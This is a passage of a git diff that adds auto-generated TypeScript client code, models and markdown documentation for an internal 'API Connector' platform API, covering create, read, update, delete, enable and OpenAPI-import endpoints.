+            throw new runtime.RequiredError(
+                'apiConnector',
+                'Required parameter "apiConnector" was null or undefined when calling updateApiConnector().'
+            );
+        }
+
+        const queryParameters: any = {};
+
+        const headerParameters: runtime.HTTPHeaders = {};
+
+        headerParameters['Content-Type'] = 'application/json';
+
+
+        let urlPath = `/api-connectors/{id}`;
+        urlPath = urlPath.replace(`{${"id"}}`, encodeURIComponent(String(requestParameters['id'])));
+
+        const response = await this.request({
+            path: urlPath,
+            method: 'PUT',
+            headers: headerParameters,
+            query: queryParameters,
+            body: ApiConnectorToJSON(requestParameters['apiConnector']),
+        }, initOverrides);
+
+        return new runtime.JSONApiResponse(response, (jsonValue) => ApiConnectorFromJSON(jsonValue));
+    }
+
+    /**
+     * Update an existing API Connector.
+     * Update an existing API Connector
+     */
+    async updateApiConnector(requestParameters: UpdateApiConnectorRequest, initOverrides?: RequestInit | runtime.InitOverrideFunction): Promise<ApiConnector> {
+        const response = await this.updateApiConnectorRaw(requestParameters, initOverrides);
+        return await response.value();
+    }
+
+}
diff --git a/client/src/ee/shared/middleware/platform/api-connector/apis/index.ts b/client/src/ee/shared/middleware/platform/api-connector/apis/index.ts
new file mode 100644
index 00000000000..35c960e0b35
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/apis/index.ts
@@ -0,0 +1,3 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './ApiConnectorApi';
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnector.md b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnector.md
new file mode 100644
index 00000000000..4d566466277
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnector.md
@@ -0,0 +1,65 @@
+
+# ApiConnector
+
+An API connector.
+
+## Properties
+
+Name | Type
+------------ | -------------
+`connectorVersion` | string
+`createdBy` | string
+`createdDate` | Date
+`description` | string
+`definition` | string
+`enabled` | boolean
+`endpoints` | [Array&lt;ApiConnectorEndpoint&gt;](ApiConnectorEndpoint.md)
+`icon` | string
+`id` | number
+`lastModifiedBy` | string
+`lastModifiedDate` | Date
+`name` | string
+`specification` | string
+`tags` | [Array&lt;Tag&gt;](Tag.md)
+`title` | string
+`version` | number
+
+## Example
+
+```typescript
+import type { ApiConnector } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "connectorVersion": null,
+  "createdBy": null,
+  "createdDate": null,
+  "description": null,
+  "definition": null,
+  "enabled": null,
+  "endpoints": null,
+  "icon": null,
+  "id": null,
+  "lastModifiedBy": null,
+  "lastModifiedDate": null,
+  "name": null,
+  "specification": null,
+  "tags": null,
+  "title": null,
+  "version": null,
+} satisfies ApiConnector
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as ApiConnector
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorApi.md b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorApi.md
new file mode 100644
index 00000000000..72c13da8c48
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorApi.md
@@ -0,0 +1,482 @@
+# ApiConnectorApi
+
+All URIs are relative to */api/platform/internal*
+
+| Method | HTTP request | Description |
+|------------- | ------------- | -------------|
+| [**createApiConnector**](ApiConnectorApi.md#createapiconnector) | **POST** /api-connectors | Create a new API Connector |
+| [**deleteApiConnector**](ApiConnectorApi.md#deleteapiconnector) | **DELETE** /api-connectors/{id} | Delete an API Connector |
+| [**enableApiConnector**](ApiConnectorApi.md#enableapiconnector) | **PATCH** /api-connectors/{id}/enable/{enable} | Enable/disable a API Connector. |
+| [**getApiConnector**](ApiConnectorApi.md#getapiconnector) | **GET** /api-connectors/{id} | Get an API Connector by id |
+| [**getApiConnectors**](ApiConnectorApi.md#getapiconnectors) | **GET** /api-connectors | Get API Connectors |
+| [**importOpenApiSpecification**](ApiConnectorApi.md#importopenapispecificationoperation) | **POST** /api-connectors/import | Create API Connector by importing OpenAPI specification |
+| [**updateApiConnector**](ApiConnectorApi.md#updateapiconnector) | **PUT** /api-connectors/{id} | Update an existing API Connector |
+
+
+
+## createApiConnector
+
+> ApiConnector createApiConnector(apiConnector)
+
+Create a new API Connector
+
+Create a new API Connector.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { CreateApiConnectorRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // ApiConnector
+    apiConnector: ...,
+  } satisfies CreateApiConnectorRequest;
+
+  try {
+    const data = await api.createApiConnector(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **apiConnector** | [ApiConnector](ApiConnector.md) |  | |
+
+### Return type
+
+[**ApiConnector**](ApiConnector.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: `application/json`
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The API Connector object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## deleteApiConnector
+
+> deleteApiConnector(id)
+
+Delete an API Connector
+
+Delete an API Connector.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { DeleteApiConnectorRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // number | The id of the API Connector.
+    id: 789,
+  } satisfies DeleteApiConnectorRequest;
+
+  try {
+    const data = await api.deleteApiConnector(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of the API Connector. | [Defaults to `undefined`] |
+
+### Return type
+
+`void` (Empty response body)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: Not defined
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **204** | Successful operation. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## enableApiConnector
+
+> enableApiConnector(id, enable)
+
+Enable/disable a API Connector.
+
+Enable/disable a API Connector.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { EnableApiConnectorRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // number | The id of the API Connector.
+    id: 789,
+    // boolean | Enable/disable the API Connector.
+    enable: true,
+  } satisfies EnableApiConnectorRequest;
+
+  try {
+    const data = await api.enableApiConnector(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of the API Connector. | [Defaults to `undefined`] |
+| **enable** | `boolean` | Enable/disable the API Connector. | [Defaults to `undefined`] |
+
+### Return type
+
+`void` (Empty response body)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: Not defined
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **204** | Successful operation. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## getApiConnector
+
+> ApiConnector getApiConnector(id)
+
+Get an API Connector by id
+
+Get an API Connector by id.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { GetApiConnectorRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // number | The id of the API Connector.
+    id: 789,
+  } satisfies GetApiConnectorRequest;
+
+  try {
+    const data = await api.getApiConnector(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of the API Connector. | [Defaults to `undefined`] |
+
+### Return type
+
+[**ApiConnector**](ApiConnector.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The API Connector object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## getApiConnectors
+
+> Array&lt;ApiConnector&gt; getApiConnectors()
+
+Get API Connectors
+
+Get API Connectors.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { GetApiConnectorsRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  try {
+    const data = await api.getApiConnectors();
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+This endpoint does not need any parameter.
+
+### Return type
+
+[**Array&lt;ApiConnector&gt;**](ApiConnector.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | A list of API Connectors. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## importOpenApiSpecification
+
+> ApiConnector importOpenApiSpecification(importOpenApiSpecificationRequest)
+
+Create API Connector by importing OpenAPI specification
+
+Create API Connector by importing OpenAPI specification.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { ImportOpenApiSpecificationOperationRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // ImportOpenApiSpecificationRequest
+    importOpenApiSpecificationRequest: ...,
+  } satisfies ImportOpenApiSpecificationOperationRequest;
+
+  try {
+    const data = await api.importOpenApiSpecification(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **importOpenApiSpecificationRequest** | [ImportOpenApiSpecificationRequest](ImportOpenApiSpecificationRequest.md) |  | |
+
+### Return type
+
+[**ApiConnector**](ApiConnector.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: `application/json`
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The API Connector object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## updateApiConnector
+
+> ApiConnector updateApiConnector(id, apiConnector)
+
+Update an existing API Connector
+
+Update an existing API Connector.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  ApiConnectorApi,
+} from '';
+import type { UpdateApiConnectorRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new ApiConnectorApi();
+
+  const body = {
+    // number | The id of the API Connector.
+    id: 789,
+    // ApiConnector
+    apiConnector: ...,
+  } satisfies UpdateApiConnectorRequest;
+
+  try {
+    const data = await api.updateApiConnector(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of the API Connector. | [Defaults to `undefined`] |
+| **apiConnector** | [ApiConnector](ApiConnector.md) |  | |
+
+### Return type
+
+[**ApiConnector**](ApiConnector.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: `application/json`
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The updated API Connector object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorEndpoint.md b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorEndpoint.md
new file mode 100644
index 00000000000..f977021ad8b
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/ApiConnectorEndpoint.md
@@ -0,0 +1,55 @@
+
+# ApiConnectorEndpoint
+
+An API connector.
+
+## Properties
+
+Name | Type
+------------ | -------------
+`createdBy` | string
+`createdDate` | Date
+`description` | string
+`httpMethod` | [HttpMethod](HttpMethod.md)
+`id` | number
+`lastExecutionDate` | Date
+`lastModifiedBy` | string
+`lastModifiedDate` | Date
+`name` | string
+`path` | string
+`version` | number
+
+## Example
+
+```typescript
+import type { ApiConnectorEndpoint } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "createdBy": null,
+  "createdDate": null,
+  "description": null,
+  "httpMethod": null,
+  "id": null,
+  "lastExecutionDate": null,
+  "lastModifiedBy": null,
+  "lastModifiedDate": null,
+  "name": null,
+  "path": null,
+  "version": null,
+} satisfies ApiConnectorEndpoint
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as ApiConnectorEndpoint
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/HttpMethod.md b/client/src/ee/shared/middleware/platform/api-connector/docs/HttpMethod.md
new file mode 100644
index 00000000000..adf6dd4fa3a
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/HttpMethod.md
@@ -0,0 +1,33 @@
+
+# HttpMethod
+
+The HTTP method.
+
+## Properties
+
+Name | Type
+------------ | -------------
+
+## Example
+
+```typescript
+import type { HttpMethod } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+} satisfies HttpMethod
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as HttpMethod
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/ImportOpenApiSpecificationRequest.md b/client/src/ee/shared/middleware/platform/api-connector/docs/ImportOpenApiSpecificationRequest.md
new file mode 100644
index 00000000000..12a00ad275c
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/ImportOpenApiSpecificationRequest.md
@@ -0,0 +1,38 @@
+
+# ImportOpenApiSpecificationRequest
+
+
+## Properties
+
+Name | Type
+------------ | -------------
+`name` | string
+`icon` | string
+`specification` | string
+
+## Example
+
+```typescript
+import type { ImportOpenApiSpecificationRequest } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "name": null,
+  "icon": null,
+  "specification": null,
+} satisfies ImportOpenApiSpecificationRequest
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as ImportOpenApiSpecificationRequest
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/Tag.md b/client/src/ee/shared/middleware/platform/api-connector/docs/Tag.md
new file mode 100644
index 00000000000..056dec10f04
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/Tag.md
@@ -0,0 +1,47 @@
+
+# Tag
+
+A tag.
+
+## Properties
+
+Name | Type
+------------ | -------------
+`createdBy` | string
+`createdDate` | Date
+`id` | number
+`lastModifiedBy` | string
+`lastModifiedDate` | Date
+`name` | string
+`version` | number
+
+## Example
+
+```typescript
+import type { Tag } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "createdBy": null,
+  "createdDate": null,
+  "id": null,
+  "lastModifiedBy": null,
+  "lastModifiedDate": null,
+  "name": null,
+  "version": null,
+} satisfies Tag
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as Tag
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/docs/UpdateTagsRequest.md b/client/src/ee/shared/middleware/platform/api-connector/docs/UpdateTagsRequest.md
new file mode 100644
index 00000000000..d406570eb38
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/docs/UpdateTagsRequest.md
@@ -0,0 +1,35 @@
+
+# UpdateTagsRequest
+
+The request object that contains the array of tags.
+
+## Properties
+
+Name | Type
+------------ | -------------
+`tags` | [Array&lt;Tag&gt;](Tag.md)
+
+## Example
+
+```typescript
+import type { UpdateTagsRequest } from ''
+
+// TODO: Update the object below with actual values
+const example = {
+  "tags": null,
+} satisfies UpdateTagsRequest
+
+console.log(example)
+
+// Convert the instance to a JSON string
+const exampleJSON: string = JSON.stringify(example)
+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as UpdateTagsRequest
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/index.ts b/client/src/ee/shared/middleware/platform/api-connector/index.ts
new file mode 100644
index 00000000000..bebe8bbbe20
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/index.ts
@@ -0,0 +1,5 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './runtime';
+export * from './apis/index';
+export * from './models/index';
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnector.ts b/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnector.ts
new file mode 100644
index 00000000000..79f7ce40d9d
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnector.ts
@@ -0,0 +1,196 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+import type { ApiConnectorEndpoint } from './ApiConnectorEndpoint';
+import {
+    ApiConnectorEndpointFromJSON,
+    ApiConnectorEndpointFromJSONTyped,
+    ApiConnectorEndpointToJSON,
+    ApiConnectorEndpointToJSONTyped,
+} from './ApiConnectorEndpoint';
+import type { Tag } from './Tag';
+import {
+    TagFromJSON,
+    TagFromJSONTyped,
+    TagToJSON,
+    TagToJSONTyped,
+} from './Tag';
+
+/**
+ * An API connector.
+ * @export
+ * @interface ApiConnector
+ */
+export interface ApiConnector {
+    /**
+     * The version of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    connectorVersion: string;
+    /**
+     * The created by.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    readonly createdBy?: string;
+    /**
+     * The created date.
+     * @type {Date}
+     * @memberof ApiConnector
+     */
+    readonly createdDate?: Date;
+    /**
+     * The description of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    description?: string;
+    /**
+     * The definition of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    readonly definition?: string;
+    /**
+     * If an API connector is enabled or not.
+     * @type {boolean}
+     * @memberof ApiConnector
+     */
+    enabled?: boolean;
+    /**
+     * 
+     * @type {Array<ApiConnectorEndpoint>}
+     * @memberof ApiConnector
+     */
+    endpoints?: Array<ApiConnectorEndpoint>;
+    /**
+     * The icon of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    icon?: string;
+    /**
+     * The id of the API connector.
+     * @type {number}
+     * @memberof ApiConnector
+     */
+    id?: number;
+    /**
+     * The last modified by.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    readonly lastModifiedBy?: string;
+    /**
+     * The last modified date.
+     * @type {Date}
+     * @memberof ApiConnector
+     */
+    readonly lastModifiedDate?: Date;
+    /**
+     * The name of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    name: string;
+    /**
+     * The specification of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    readonly specification?: string;
+    /**
+     * 
+     * @type {Array<Tag>}
+     * @memberof ApiConnector
+     */
+    tags?: Array<Tag>;
+    /**
+     * The title of an API connector.
+     * @type {string}
+     * @memberof ApiConnector
+     */
+    title?: string;
+    /**
+     * 
+     * @type {number}
+     * @memberof ApiConnector
+     */
+    version?: number;
+}
+
+/**
+ * Check if a given object implements the ApiConnector interface.
+ */
+export function instanceOfApiConnector(value: object): value is ApiConnector {
+    if (!('connectorVersion' in value) || value['connectorVersion'] === undefined) return false;
+    if (!('name' in value) || value['name'] === undefined) return false;
+    return true;
+}
+
+export function ApiConnectorFromJSON(json: any): ApiConnector {
+    return ApiConnectorFromJSONTyped(json, false);
+}
+
+export function ApiConnectorFromJSONTyped(json: any, ignoreDiscriminator: boolean): ApiConnector {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'connectorVersion': json['connectorVersion'],
+        'createdBy': json['createdBy'] == null ? undefined : json['createdBy'],
+        'createdDate': json['createdDate'] == null ? undefined : (new Date(json['createdDate'])),
+        'description': json['description'] == null ? undefined : json['description'],
+        'definition': json['definition'] == null ? undefined : json['definition'],
+        'enabled': json['enabled'] == null ? undefined : json['enabled'],
+        'endpoints': json['endpoints'] == null ? undefined : ((json['endpoints'] as Array<any>).map(ApiConnectorEndpointFromJSON)),
+        'icon': json['icon'] == null ? undefined : json['icon'],
+        'id': json['id'] == null ? undefined : json['id'],
+        'lastModifiedBy': json['lastModifiedBy'] == null ? undefined : json['lastModifiedBy'],
+        'lastModifiedDate': json['lastModifiedDate'] == null ? undefined : (new Date(json['lastModifiedDate'])),
+        'name': json['name'],
+        'specification': json['specification'] == null ? undefined : json['specification'],
+        'tags': json['tags'] == null ? undefined : ((json['tags'] as Array<any>).map(TagFromJSON)),
+        'title': json['title'] == null ? undefined : json['title'],
+        'version': json['__version'] == null ? undefined : json['__version'],
+    };
+}
+
+export function ApiConnectorToJSON(json: any): ApiConnector {
+    return ApiConnectorToJSONTyped(json, false);
+}
+
+export function ApiConnectorToJSONTyped(value?: Omit<ApiConnector, 'createdBy'|'createdDate'|'definition'|'lastModifiedBy'|'lastModifiedDate'|'specification'> | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'connectorVersion': value['connectorVersion'],
+        'description': value['description'],
+        'enabled': value['enabled'],
+        'endpoints': value['endpoints'] == null ? undefined : ((value['endpoints'] as Array<any>).map(ApiConnectorEndpointToJSON)),
+        'icon': value['icon'],
+        'id': value['id'],
+        'name': value['name'],
+        'tags': value['tags'] == null ? undefined : ((value['tags'] as Array<any>).map(TagToJSON)),
+        'title': value['title'],
+        '__version': value['version'],
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnectorEndpoint.ts b/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnectorEndpoint.ts
new file mode 100644
index 00000000000..92dd4e07379
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/ApiConnectorEndpoint.ts
@@ -0,0 +1,151 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+import type { HttpMethod } from './HttpMethod';
+import {
+    HttpMethodFromJSON,
+    HttpMethodFromJSONTyped,
+    HttpMethodToJSON,
+    HttpMethodToJSONTyped,
+} from './HttpMethod';
+
+/**
+ * An API connector.
+ * @export
+ * @interface ApiConnectorEndpoint
+ */
+export interface ApiConnectorEndpoint {
+    /**
+     * The created by.
+     * @type {string}
+     * @memberof ApiConnectorEndpoint
+     */
+    readonly createdBy?: string;
+    /**
+     * The created date.
+     * @type {Date}
+     * @memberof ApiConnectorEndpoint
+     */
+    readonly createdDate?: Date;
+    /**
+     * The description of an API connector's endpoint.
+     * @type {string}
+     * @memberof ApiConnectorEndpoint
+     */
+    description?: string;
+    /**
+     * 
+     * @type {HttpMethod}
+     * @memberof ApiConnectorEndpoint
+     */
+    httpMethod?: HttpMethod;
+    /**
+     * The id of the API connector's endpoint.
+     * @type {number}
+     * @memberof ApiConnectorEndpoint
+     */
+    id?: number;
+    /**
+     * The last execution date.
+     * @type {Date}
+     * @memberof ApiConnectorEndpoint
+     */
+    readonly lastExecutionDate?: Date;
+    /**
+     * The last modified by.
+     * @type {string}
+     * @memberof ApiConnectorEndpoint
+     */
+    readonly lastModifiedBy?: string;
+    /**
+     * The last modified date.
+     * @type {Date}
+     * @memberof ApiConnectorEndpoint
+     */
+    readonly lastModifiedDate?: Date;
+    /**
+     * The name of an API connector's endpoint.
+     * @type {string}
+     * @memberof ApiConnectorEndpoint
+     */
+    name: string;
+    /**
+     * The path of an API connector's endpoint.
+     * @type {string}
+     * @memberof ApiConnectorEndpoint
+     */
+    path?: string;
+    /**
+     * 
+     * @type {number}
+     * @memberof ApiConnectorEndpoint
+     */
+    version?: number;
+}
+
+
+
+/**
+ * Check if a given object implements the ApiConnectorEndpoint interface.
+ */
+export function instanceOfApiConnectorEndpoint(value: object): value is ApiConnectorEndpoint {
+    if (!('name' in value) || value['name'] === undefined) return false;
+    return true;
+}
+
+export function ApiConnectorEndpointFromJSON(json: any): ApiConnectorEndpoint {
+    return ApiConnectorEndpointFromJSONTyped(json, false);
+}
+
+export function ApiConnectorEndpointFromJSONTyped(json: any, ignoreDiscriminator: boolean): ApiConnectorEndpoint {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'createdBy': json['createdBy'] == null ? undefined : json['createdBy'],
+        'createdDate': json['createdDate'] == null ? undefined : (new Date(json['createdDate'])),
+        'description': json['description'] == null ? undefined : json['description'],
+        'httpMethod': json['httpMethod'] == null ? undefined : HttpMethodFromJSON(json['httpMethod']),
+        'id': json['id'] == null ? undefined : json['id'],
+        'lastExecutionDate': json['lastExecutionDate'] == null ? undefined : (new Date(json['lastExecutionDate'])),
+        'lastModifiedBy': json['lastModifiedBy'] == null ? undefined : json['lastModifiedBy'],
+        'lastModifiedDate': json['lastModifiedDate'] == null ? undefined : (new Date(json['lastModifiedDate'])),
+        'name': json['name'],
+        'path': json['path'] == null ? undefined : json['path'],
+        'version': json['__version'] == null ? undefined : json['__version'],
+    };
+}
+
+export function ApiConnectorEndpointToJSON(json: any): ApiConnectorEndpoint {
+    return ApiConnectorEndpointToJSONTyped(json, false);
+}
+
+export function ApiConnectorEndpointToJSONTyped(value?: Omit<ApiConnectorEndpoint, 'createdBy'|'createdDate'|'lastExecutionDate'|'lastModifiedBy'|'lastModifiedDate'> | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'description': value['description'],
+        'httpMethod': HttpMethodToJSON(value['httpMethod']),
+        'id': value['id'],
+        'name': value['name'],
+        'path': value['path'],
+        '__version': value['version'],
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/api-connector/models/HttpMethod.ts b/client/src/ee/shared/middleware/platform/api-connector/models/HttpMethod.ts
new file mode 100644
index 00000000000..7c9d51ccbd9
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/api-connector/models/HttpMethod.ts
@@ -0,0 +1,56 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform API Connector Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
